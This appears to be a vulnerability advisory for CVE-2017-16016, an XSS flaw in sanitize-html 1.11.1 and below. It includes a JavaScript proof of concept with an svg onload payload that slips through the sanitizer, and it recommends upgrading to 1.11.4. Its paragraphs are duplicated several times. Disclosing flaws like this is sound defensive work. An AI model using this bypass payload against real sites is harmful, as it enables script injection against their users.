CVE-2017-16016

Sanitize-html is a library for scrubbing html input of malicious values. Versions 1.11.1 and below are vulnerable to cross site scripting (XSS) in certain scenarios: If allowed at least one nonTextTags, the result is a potential XSS vulnerability.

Sanitize-html is a library for scrubbing html input of malicious values. Versions 1.11.1 and below are vulnerable to cross site scripting (XSS) in certain scenarios: If allowed at least one nonTextTags, the result is a potential XSS vulnerability.

Sanitize-html is a library for scrubbing html input of malicious values. Versions 1.11.1 and below are vulnerable to cross site scripting (XSS) in certain scenarios: If allowed at least one nonTextTags, the result is a potential XSS vulnerability.

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

Sanitize-html is a library for scrubbing html input of malicious values. Versions 1.11.1 and below are vulnerable to cross site scripting (XSS) in certain scenarios: If allowed at least one nonTextTags, the result is a potential XSS vulnerability.

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

Root has patched CVE-2017-16016 in the @rootio/sanitize-html package for Root:npm. Multiple fixed versions available.